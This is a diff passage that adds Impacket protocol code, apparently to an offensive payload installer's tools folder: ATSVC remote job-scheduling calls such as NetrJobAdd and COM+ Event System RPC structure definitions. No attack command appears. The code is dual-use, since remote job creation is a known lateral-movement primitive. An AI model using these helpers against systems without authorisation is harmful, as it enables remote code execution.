+################################################################################ +# 3.2.5.2.1 NetrJobAdd (Opnum 0) +class NetrJobAdd(NDRCALL): + opnum = 0 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('pAtInfo', AT_INFO), + ) + +class NetrJobAddResponse(NDRCALL): + structure = ( + ('pJobId',DWORD), + ('ErrorCode',ULONG), + ) + +# 3.2.5.2.2 NetrJobDel (Opnum 1) +class NetrJobDel(NDRCALL): + opnum = 1 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('MinJobId', DWORD), + ('MaxJobId', DWORD), + ) + +class NetrJobDelResponse(NDRCALL): + structure = ( + ('ErrorCode',ULONG), + ) + +# 3.2.5.2.3 NetrJobEnum (Opnum 2) +class NetrJobEnum(NDRCALL): + opnum = 2 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('pEnumContainer', AT_ENUM_CONTAINER), + ('PreferedMaximumLength', DWORD), + ('pResumeHandle', DWORD), + ) + +class NetrJobEnumResponse(NDRCALL): + structure = ( + ('pEnumContainer', AT_ENUM_CONTAINER), + ('pTotalEntries', DWORD), + ('pResumeHandle',LPDWORD), + ('ErrorCode',ULONG), + ) + +# 3.2.5.2.4 NetrJobGetInfo (Opnum 3) +class NetrJobGetInfo(NDRCALL): + opnum = 3 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('JobId', DWORD), + ) + +class NetrJobGetInfoResponse(NDRCALL): + structure = ( + ('ppAtInfo', LPAT_INFO), + ('ErrorCode',ULONG), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 0 : (NetrJobAdd,NetrJobAddResponse ), + 1 : (NetrJobDel,NetrJobDelResponse ), + 2 : (NetrJobEnum,NetrJobEnumResponse ), + 3 : (NetrJobGetInfo,NetrJobGetInfoResponse ), +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL): + netrJobAdd = NetrJobAdd() + netrJobAdd['ServerName'] = serverName + netrJobAdd['pAtInfo'] = atInfo + return dce.request(netrJobAdd) + +def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0): + netrJobDel = NetrJobDel() + netrJobDel['ServerName'] = serverName + netrJobDel['MinJobId'] = minJobId + netrJobDel['MaxJobId'] = maxJobId + return dce.request(netrJobDel) + +def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff): + netrJobEnum = NetrJobEnum() + netrJobEnum['ServerName'] = serverName + netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer + netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength + return dce.request(netrJobEnum) + +def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0): + netrJobGetInfo = NetrJobGetInfo() + netrJobGetInfo['ServerName'] = serverName + netrJobGetInfo['JobId'] = jobId + return dce.request(netrJobGetInfo) \ No newline at end of file diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/__init__.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/__init__.py new file mode 100644 index 0000000..2ae2839 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/__init__.py @@ -0,0 +1 @@ +pass diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/comev.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/comev.py new file mode 100644 index 0000000..ead2dd1 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/comev.py @@ -0,0 +1,1863 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-COMEV]: Component Object Model Plus (COM+) Event System Protocol. +# This was used as a way to test the DCOM runtime. Further +# testing is needed to verify it is working as expected +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRENUM, NDRUniConformantVaryingArray +from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, INTERFACE, PMInterfacePointer, IRemUnknown +from impacket.dcerpc.v5.dcom.oaut import IDispatch, BSTR, VARIANT +from impacket.dcerpc.v5.dtypes import INT, ULONG, LONG, BOOLEAN +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.enum import Enum +from impacket import hresult_errors +from impacket.uuid import string_to_bin, uuidtup_to_bin + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if hresult_errors.ERROR_MESSAGES.has_key(self.error_code): + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'COMEV SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'COMEV SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +CLSID_EventSystem = string_to_bin('4E14FBA2-2E22-11D1-9964-00C04FBBB345') +CLSID_EventSystem2 = string_to_bin('99CC098F-A48A-4e9c-8E58-965C0AFC19D5') +CLSID_EventClass = string_to_bin('cdbec9c0-7a68-11d1-88f9-0080c7d771bf') +CLSID_EventSubscription = string_to_bin('7542e960-79c7-11d1-88f9-0080c7d771bf') +GUID_DefaultAppPartition = string_to_bin('41E90F3E-56C1-4633-81C3-6E8BAC8BDD70') +IID_IEventSystem = uuidtup_to_bin(('4E14FB9F-2E22-11D1-9964-00C04FBBB345','0.0')) +IID_IEventSystem2 = uuidtup_to_bin(('99CC098F-A48A-4e9c-8E58-965C0AFC19D5','0.0')) +IID_IEventSystemInitialize = uuidtup_to_bin(('a0e8f27a-888c-11d1-b763-00c04fb926af','0.0')) +IID_IEventObjectCollection = uuidtup_to_bin(('f89ac270-d4eb-11d1-b682-00805fc79216','0.0')) +IID_IEnumEventObject = uuidtup_to_bin(('F4A07D63-2E25-11D1-9964-00C04FBBB345','0.0')) +IID_IEventSubscription = uuidtup_to_bin(('4A6B0E15-2E38-11D1-9965-00C04FBBB345','0.0')) +IID_IEventSubscription2 = uuidtup_to_bin(('4A6B0E16-2E38-11D1-9965-00C04FBBB345','0.0')) +IID_IEventSubscription3 = uuidtup_to_bin(('FBC1D17D-C498-43a0-81AF-423DDD530AF6','0.0')) +IID_IEventClass = uuidtup_to_bin(('fb2b72a0-7a68-11d1-88f9-0080c7d771bf','0.0')) +IID_IEventClass2 = uuidtup_to_bin(('fb2b72a1-7a68-11d1-88f9-0080c7d771bf','0.0')) +IID_IEventClass3 = uuidtup_to_bin(('7FB7EA43-2D76-4ea8-8CD9-3DECC270295E','0.0')) + +error_status_t = ULONG + +# 2.2.2.2 Property Value Types +class VARENUM(NDRENUM): + class enumItems(Enum): + VT_EMPTY = 0 + VT_NULL = 1 + VT_I2 = 2 + VT_I4 = 3 + VT_R4 = 4 + VT_R8 = 5 + VT_CY = 6 + VT_DATE = 7 + VT_BSTR = 8 + VT_DISPATCH = 9 + VT_ERROR = 0xa + VT_BOOL = 0xb + VT_VARIANT = 0xc + VT_UNKNOWN = 0xd + VT_DECIMAL = 0xe + VT_I1 = 0x10 + VT_UI1 = 0x11 + VT_UI2 = 0x12 + VT_UI4 = 0x13 + VT_I8 = 0x14 + VT_UI8 = 0x15 + VT_INT = 0x16 + VT_UINT = 0x17 + VT_VOID = 0x18 + VT_HRESULT = 0x19 + VT_PTR = 0x1a + VT_SAFEARRAY = 0x1b + VT_CARRAY = 0x1c + VT_USERDEFINED = 0x1d + VT_LPSTR = 0x1e + VT_LPWSTR = 0x1f + VT_RECORD = 0x24 + VT_INT_PTR = 0x25 + VT_UINT_PTR = 0x26 + VT_ARRAY = 0x2000 + VT_BYREF = 0x4000 + VT_UINT_PTR = 7 + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.44 TYPEATTR +class TYPEATTR(NDRSTRUCT): + structure = ( + ) + +class OBJECT_ARRAY(NDRUniConformantVaryingArray): + item = PMInterfacePointer + +################################################################################ +# RPC CALLS +################################################################################ +# 3.1.4.1 IEventSystem +# 3.1.4.1.1 Query (Opnum 7) +class IEventSystem_Query(DCOMCALL): + opnum = 7 + structure = ( + ('progID', BSTR), + ('queryCriteria', BSTR), + ) + +class IEventSystem_QueryResponse(DCOMANSWER): + structure = ( + ('errorIndex', INT), + ('ppInterface', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.1.2 Store (Opnum 8) +class IEventSystem_Store(DCOMCALL): + opnum = 8 + structure = ( + ('progID', BSTR), + ('pInterface', PMInterfacePointer), + ) + +class IEventSystem_StoreResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.1.3 Remove (Opnum 9) +class IEventSystem_Remove(DCOMCALL): + opnum = 9 + structure = ( + ('progID', BSTR), + ('queryCriteria', BSTR), + ) + +class IEventSystem_RemoveResponse(DCOMANSWER): + structure = ( + ('errorIndex', INT), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.1.4 get_EventObjectChangeEventClassID (Opnum 10) +class IEventSystem_get_EventObjectChangeEventClassID(DCOMCALL): + opnum = 10 + structure = ( + ) + +class IEventSystem_get_EventObjectChangeEventClassIDResponse(DCOMANSWER): + structure = ( + ('pbstrEventClassID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.1.5 QueryS (Opnum 11) +class IEventSystem_QueryS(DCOMCALL): + opnum = 11 + structure = ( + ('progID', BSTR), + ('queryCriteria', BSTR), + ) + +class IEventSystem_QuerySResponse(DCOMANSWER): + structure = ( + ('pInterface', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.1.6 RemoveS (Opnum 12) +class IEventSystem_RemoveS(DCOMCALL): + opnum = 12 + structure = ( + ('progID', BSTR), + ('queryCriteria', BSTR), + ) + +class IEventSystem_RemoveSResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +################################################################################ +# 3.1.4.2 IEventClass +# 3.1.4.2.1 get_EventClassID (Opnum 7) +class IEventClass_get_EventClassID(DCOMCALL): + opnum = 7 + structure = ( + ) + +class IEventClass_get_EventClassIDResponse(DCOMANSWER): + structure = ( + ('pbstrEventClassID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.2 put_EventClassID (Opnum 8) +class IEventClass_put_EventClassID(DCOMCALL): + opnum = 8 + structure = ( + ('bstrEventClassID', BSTR), + ) + +class IEventClass_put_EventClassIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.3 get_EventClassName (Opnum 9) +class IEventClass_get_EventClassName(DCOMCALL): + opnum = 9 + structure = ( + ) + +class IEventClass_get_EventClassNameResponse(DCOMANSWER): + structure = ( + ('pbstrEventClassName', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.4 put_EventClassName (Opnum 10) +class IEventClass_put_EventClassName(DCOMCALL): + opnum = 10 + structure = ( + ('bstrEventClassName', BSTR), + ) + +class IEventClass_put_EventClassNameResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.5 get_OwnerSID (Opnum 11) +class IEventClass_get_OwnerSID(DCOMCALL): + opnum = 11 + structure = ( + ) + +class IEventClass_get_OwnerSIDResponse(DCOMANSWER): + structure = ( + ('pbstrOwnerSID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.6 put_OwnerSID (Opnum 12) +class IEventClass_put_OwnerSID(DCOMCALL): + opnum = 12 + structure = ( + ('bstrOwnerSID', BSTR), + ) + +class IEventClass_put_OwnerSIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.7 get_FiringInterfaceID (Opnum 13) +class IEventClass_get_FiringInterfaceID(DCOMCALL): + opnum = 13 + structure = ( + ) + +class IEventClass_get_FiringInterfaceIDResponse(DCOMANSWER): + structure = ( + ('pbstrFiringInterfaceID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.8 put_FiringInterfaceID (Opnum 14) +class IEventClass_put_FiringInterfaceID(DCOMCALL): + opnum = 14 + structure = ( + ('bstrFiringInterfaceID', BSTR), + ) + +class IEventClass_put_FiringInterfaceIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.9 get_Description (Opnum 15) +class IEventClass_get_Description(DCOMCALL): + opnum = 15 + structure = ( + ) + +class IEventClass_get_DescriptionResponse(DCOMANSWER): + structure = ( + ('pbstrDescription', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.10 put_Description (Opnum 16) +class IEventClass_put_Description(DCOMCALL): + opnum = 16 + structure = ( + ('bstrDescription', BSTR), + ) + +class IEventClass_put_DescriptionResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.11 get_TypeLib (Opnum 19) +class IEventClass_get_TypeLib(DCOMCALL): + opnum = 19 + structure = ( + ) + +class IEventClass_get_TypeLibResponse(DCOMANSWER): + structure = ( + ('pbstrTypeLib', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.2.12 put_TypeLib (Opnum 20) +class IEventClass_put_TypeLib(DCOMCALL): + opnum = 20 + structure = ( + ('bstrTypeLib', BSTR), + ) + +class IEventClass_put_TypeLibResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +################################################################################ +# 3.1.4.3 IEventClass2 +# 3.1.4.3.1 get_PublisherID (Opnum 21) +class IEventClass2_get_PublisherID(DCOMCALL): + opnum = 21 + structure = ( + ) + +class IEventClass2_get_PublisherIDResponse(DCOMANSWER): + structure = ( + ('pbstrSubscriptionID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.3.2 put_PublisherID (Opnum 22) +class IEventClass2_put_PublisherID(DCOMCALL): + opnum = 22 + structure = ( + ('bstrPublisherID', BSTR), + ) + +class IEventClass2_put_PublisherIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.3.3 get_MultiInterfacePublisherFilterCLSID (Opnum 23) +class IEventClass2_get_MultiInterfacePublisherFilterCLSID(DCOMCALL): + opnum = 23 + structure = ( + ) + +class IEventClass2_get_MultiInterfacePublisherFilterCLSIDResponse(DCOMANSWER): + structure = ( + ('pbstrPubFilCLSID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.3.4 put_MultiInterfacePublisherFilterCLSID (Opnum 24) +class IEventClass2_put_MultiInterfacePublisherFilterCLSID(DCOMCALL): + opnum = 24 + structure = ( + ('bstrPubFilCLSID', BSTR), + ) + +class IEventClass2_put_MultiInterfacePublisherFilterCLSIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.3.5 get_AllowInprocActivation (Opnum 25) +class IEventClass2_get_AllowInprocActivation(DCOMCALL): + opnum = 25 + structure = ( + ) + +class IEventClass2_get_AllowInprocActivationResponse(DCOMANSWER): + structure = ( + ('pfAllowInprocActivation', BOOLEAN), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.3.6 put_AllowInprocActivation (Opnum 26) +class IEventClass2_put_AllowInprocActivation(DCOMCALL): + opnum = 26 + structure = ( + ('fAllowInprocActivation', BOOLEAN), + ) + +class IEventClass2_put_AllowInprocActivationResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.3.7 get_FireInParallel (Opnum 27) +class IEventClass2_get_FireInParallel(DCOMCALL): + opnum = 27 + structure = ( + ) + +class IEventClass2_get_FireInParallelResponse(DCOMANSWER): + structure = ( + ('pfFireInParallel', BOOLEAN), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.3.8 put_FireInParallel (Opnum 28) +class IEventClass2_put_FireInParallel(DCOMCALL): + opnum = 28 + structure = ( + ('pfFireInParallel', BOOLEAN), + ) + +class IEventClass2_put_FireInParallelResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +################################################################################ +# 3.1.4.4 IEventSubscription +# 3.1.4.4.1 get_SubscriptionID (Opnum 7) +class IEventSubscription_get_SubscriptionID(DCOMCALL): + opnum = 7 + structure = ( + ) + +class IEventSubscription_get_SubscriptionIDResponse(DCOMANSWER): + structure = ( + ('pbstrSubscriptionID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.2 put_SubscriptionID (Opnum 8) +class IEventSubscription_put_SubscriptionID(DCOMCALL): + opnum = 8 + structure = ( + ('bstrSubscriptionID', BSTR), + ) + +class IEventSubscription_put_SubscriptionIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.3 get_SubscriptionName (Opnum 9) +class IEventSubscription_get_SubscriptionName(DCOMCALL): + opnum = 9 + structure = ( + ) + +class IEventSubscription_get_SubscriptionNameResponse(DCOMANSWER): + structure = ( + ('pbstrSubscriptionName', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.4 put_SubscriptionName (Opnum 10) +class IEventSubscription_put_SubscriptionName(DCOMCALL): + opnum = 10 + structure = ( + ('strSubscriptionID', BSTR), + ) + +class IEventSubscription_put_SubscriptionNameResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.5 get_PublisherID (Opnum 11) +class IEventSubscription_get_PublisherID(DCOMCALL): + opnum = 11 + structure = ( + ) + +class IEventSubscription_get_PublisherIDResponse(DCOMANSWER): + structure = ( + ('pbstrPublisherID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.6 put_PublisherID (Opnum 12) +class IEventSubscription_put_PublisherID(DCOMCALL): + opnum = 12 + structure = ( + ('bstrPublisherID', BSTR), + ) + +class IEventSubscription_put_PublisherIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.7 get_EventClassID (Opnum 13) +class IEventSubscription_get_EventClassID(DCOMCALL): + opnum = 13 + structure = ( + ) + +class IEventSubscription_get_EventClassIDResponse(DCOMANSWER): + structure = ( + ('pbstrEventClassID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.8 put_EventClassID (Opnum 14) +class IEventSubscription_put_EventClassID(DCOMCALL): + opnum = 14 + structure = ( + ('bstrEventClassID', BSTR), + ) + +class IEventSubscription_put_EventClassIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.9 get_MethodName (Opnum 15) +class IEventSubscription_get_MethodName(DCOMCALL): + opnum = 15 + structure = ( + ) + +class IEventSubscription_get_MethodNameResponse(DCOMANSWER): + structure = ( + ('pbstrMethodName', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.10 put_MethodName (Opnum 16) +class IEventSubscription_put_MethodName(DCOMCALL): + opnum = 16 + structure = ( + ('bstrMethodName', BSTR), + ) + +class IEventSubscription_put_MethodNameResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.11 get_SubscriberCLSID (Opnum 17) +class IEventSubscription_get_SubscriberCLSID(DCOMCALL): + opnum = 17 + structure = ( + ) + +class IEventSubscription_get_SubscriberCLSIDResponse(DCOMANSWER): + structure = ( + ('pbstrSubscriberCLSID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.12 put_SubscriberCLSID (Opnum 18) +class IEventSubscription_put_SubscriberCLSID(DCOMCALL): + opnum = 18 + structure = ( + ('bstrSubscriberCLSID', BSTR), + ) + +class IEventSubscription_put_SubscriberCLSIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.13 get_SubscriberInterface (Opnum 19) +class IEventSubscription_get_SubscriberInterface(DCOMCALL): + opnum = 19 + structure = ( + ) + +class IEventSubscription_get_SubscriberInterfaceResponse(DCOMANSWER): + structure = ( + ('ppSubscriberInterface', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.14 put_SubscriberInterface (Opnum 20) +class IEventSubscription_put_SubscriberInterface(DCOMCALL): + opnum = 20 + structure = ( + ('pSubscriberInterface', PMInterfacePointer), + ) + +class IEventSubscription_put_SubscriberInterfaceResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.15 get_PerUser (Opnum 21) +class IEventSubscription_get_PerUser(DCOMCALL): + opnum = 21 + structure = ( + ) + +class IEventSubscription_get_PerUserResponse(DCOMANSWER): + structure = ( + ('pfPerUser', BOOLEAN), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.16 put_PerUser (Opnum 22) +class IEventSubscription_put_PerUser(DCOMCALL): + opnum = 22 + structure = ( + ('fPerUser', BOOLEAN), + ) + +class IEventSubscription_put_PerUserResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.17 get_OwnerSID (Opnum 23) +class IEventSubscription_get_OwnerSID(DCOMCALL): + opnum = 23 + structure = ( + ) + +class IEventSubscription_get_OwnerSIDResponse(DCOMANSWER): + structure = ( + ('pbstrOwnerSID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.18 put_OwnerSID (Opnum 24) +class IEventSubscription_put_OwnerSID(DCOMCALL): + opnum = 24 + structure = ( + ('bstrOwnerSID', BSTR), + ) + +class IEventSubscription_put_OwnerSIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.19 get_Enabled (Opnum 25) +class IEventSubscription_get_Enabled(DCOMCALL): + opnum = 25 + structure = ( + ) + +class IEventSubscription_get_EnabledResponse(DCOMANSWER): + structure = ( + ('pfEnabled', BOOLEAN), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.20 put_Enabled (Opnum 26) +class IEventSubscription_put_Enabled(DCOMCALL): + opnum = 26 + structure = ( + ('fEnabled', BOOLEAN), + ) + +class IEventSubscription_put_EnabledResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.21 get_Description (Opnum 27) +class IEventSubscription_get_Description(DCOMCALL): + opnum = 27 + structure = ( + ) + +class IEventSubscription_get_DescriptionResponse(DCOMANSWER): + structure = ( + ('pbstrDescription', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.22 put_Description (Opnum 28) +class IEventSubscription_put_Description(DCOMCALL): + opnum = 28 + structure = ( + ('bstrDescription', BSTR), + ) + +class IEventSubscription_put_DescriptionResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.23 get_MachineName (Opnum 29) +class IEventSubscription_get_MachineName(DCOMCALL): + opnum = 29 + structure = ( + ) + +class IEventSubscription_get_MachineNameResponse(DCOMANSWER): + structure = ( + ('pbstrMachineName', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.24 put_MachineName (Opnum 30) +class IEventSubscription_put_MachineName(DCOMCALL): + opnum = 30 + structure = ( + ('bstrMachineName', BSTR), + ) + +class IEventSubscription_put_MachineNameResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.25 GetPublisherProperty (Opnum 31) +class IEventSubscription_GetPublisherProperty(DCOMCALL): + opnum = 31 + structure = ( + ('bstrPropertyName', BSTR), + ) + +class IEventSubscription_GetPublisherPropertyResponse(DCOMANSWER): + structure = ( + ('propertyValue', VARIANT), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.26 PutPublisherProperty (Opnum 32) +class IEventSubscription_PutPublisherProperty(DCOMCALL): + opnum = 32 + structure = ( + ('bstrPropertyName', BSTR), + ('propertyValue', VARIANT), + ) + +class IEventSubscription_PutPublisherPropertyResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.27 RemovePublisherProperty (Opnum 33) +class IEventSubscription_RemovePublisherProperty(DCOMCALL): + opnum = 33 + structure = ( + ('bstrPropertyName', BSTR), + ) + +class IEventSubscription_RemovePublisherPropertyResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.28 GetPublisherPropertyCollection (Opnum 34) +class IEventSubscription_GetPublisherPropertyCollection(DCOMCALL): + opnum = 34 + structure = ( + ) + +class IEventSubscription_GetPublisherPropertyCollectionResponse(DCOMANSWER): + structure = ( + ('collection', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.29 GetSubscriberProperty (Opnum 35) +class IEventSubscription_GetSubscriberProperty(DCOMCALL): + opnum = 35 + structure = ( + ('bstrPropertyName', BSTR), + ) + +class IEventSubscription_GetSubscriberPropertyResponse(DCOMANSWER): + structure = ( + ('propertyValue', VARIANT), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.30 PutSubscriberProperty (Opnum 36) +class IEventSubscription_PutSubscriberProperty(DCOMCALL): + opnum = 36 + structure = ( + ('bstrPropertyName', BSTR), + ('propertyValue', VARIANT), + ) + +class IEventSubscription_PutSubscriberPropertyResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.31 RemoveSubscriberProperty (Opnum 37) +class IEventSubscription_RemoveSubscriberProperty(DCOMCALL): + opnum = 37 + structure = ( + ('bstrPropertyName', BSTR), + ) + +class IEventSubscription_RemoveSubscriberPropertyResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.32 GetSubscriberPropertyCollection (Opnum 38) +class IEventSubscription_GetSubscriberPropertyCollection(DCOMCALL): + opnum = 38 + structure = ( + ) + +class IEventSubscription_GetSubscriberPropertyCollectionResponse(DCOMANSWER): + structure = ( + ('collection', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.33 get_InterfaceID (Opnum 39) +class IEventSubscription_get_InterfaceID(DCOMCALL): + opnum = 39 + structure = ( + ) + +class IEventSubscription_get_InterfaceIDResponse(DCOMANSWER): + structure = ( + ('pbstrInterfaceID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.4.34 put_InterfaceID (Opnum 40) +class IEventSubscription_put_InterfaceID(DCOMCALL): + opnum = 40 + structure = ( + ('bstrInterfaceID', BSTR), + ) + +class IEventSubscription_put_InterfaceIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +################################################################################ +# 3.1.4.5 IEnumEventObject +# 3.1.4.5.1 Clone (Opnum 3) +class IEnumEventObject_Clone(DCOMCALL): + opnum = 3 + structure = ( + ) + +class IEnumEventObject_CloneResponse(DCOMANSWER): + structure = ( + ('ppInterface', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.5.2 Next (Opnum 4) +class IEnumEventObject_Next(DCOMCALL): + opnum = 4 + structure = ( + ('cReqElem', ULONG), + ) + +class IEnumEventObject_NextResponse(DCOMANSWER): + structure = ( + ('ppInterface', OBJECT_ARRAY), + ('cRetElem', ULONG), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.5.3 Reset (Opnum 5) +class IEnumEventObject_Reset(DCOMCALL): + opnum = 5 + structure = ( + ) + +class IEnumEventObject_ResetResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.5.4 Skip (Opnum 6) +class IEnumEventObject_Skip(DCOMCALL): + opnum = 6 + structure = ( + ('cSkipElem', ULONG), + ) + +class IEnumEventObject_SkipResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +################################################################################ +# 3.1.4.6 IEventObjectCollection +# 3.1.4.6.1 get__NewEnum (Opnum 7) +class IEventObjectCollection_get__NewEnum(DCOMCALL): + opnum = 7 + structure = ( + ) + +class IEventObjectCollection_get__NewEnumResponse(DCOMANSWER): + structure = ( + ('ppUnkEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.6.2 get_Item (Opnum 8) +class IEventObjectCollection_get_Item(DCOMCALL): + opnum = 8 + structure = ( + ('objectID', BSTR), + ) + +class IEventObjectCollection_get_ItemResponse(DCOMANSWER): + structure = ( + ('pItem', VARIANT), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.6.3 get_NewEnum (Opnum 9) +class IEventObjectCollection_get_NewEnum(DCOMCALL): + opnum = 9 + structure = ( + ) + +class IEventObjectCollection_get_NewEnumResponse(DCOMANSWER): + structure = ( + ('ppEnum', PMInterfacePointer), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.6.4 get_Count (Opnum 10) +class IEventObjectCollection_get_Count(DCOMCALL): + opnum = 10 + structure = ( + ) + +class IEventObjectCollection_get_CountResponse(DCOMANSWER): + structure = ( + ('pCount', LONG), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.6.5 Add (Opnum 11) +class IEventObjectCollection_Add(DCOMCALL): + opnum = 11 + structure = ( + ('item', VARIANT), + ('objectID', BSTR), + ) + +class IEventObjectCollection_AddResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.6.6 Remove (Opnum 12) +class IEventObjectCollection_Remove(DCOMCALL): + opnum = 12 + structure = ( + ('objectID', BSTR), + ) + +class IEventObjectCollection_RemoveResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + 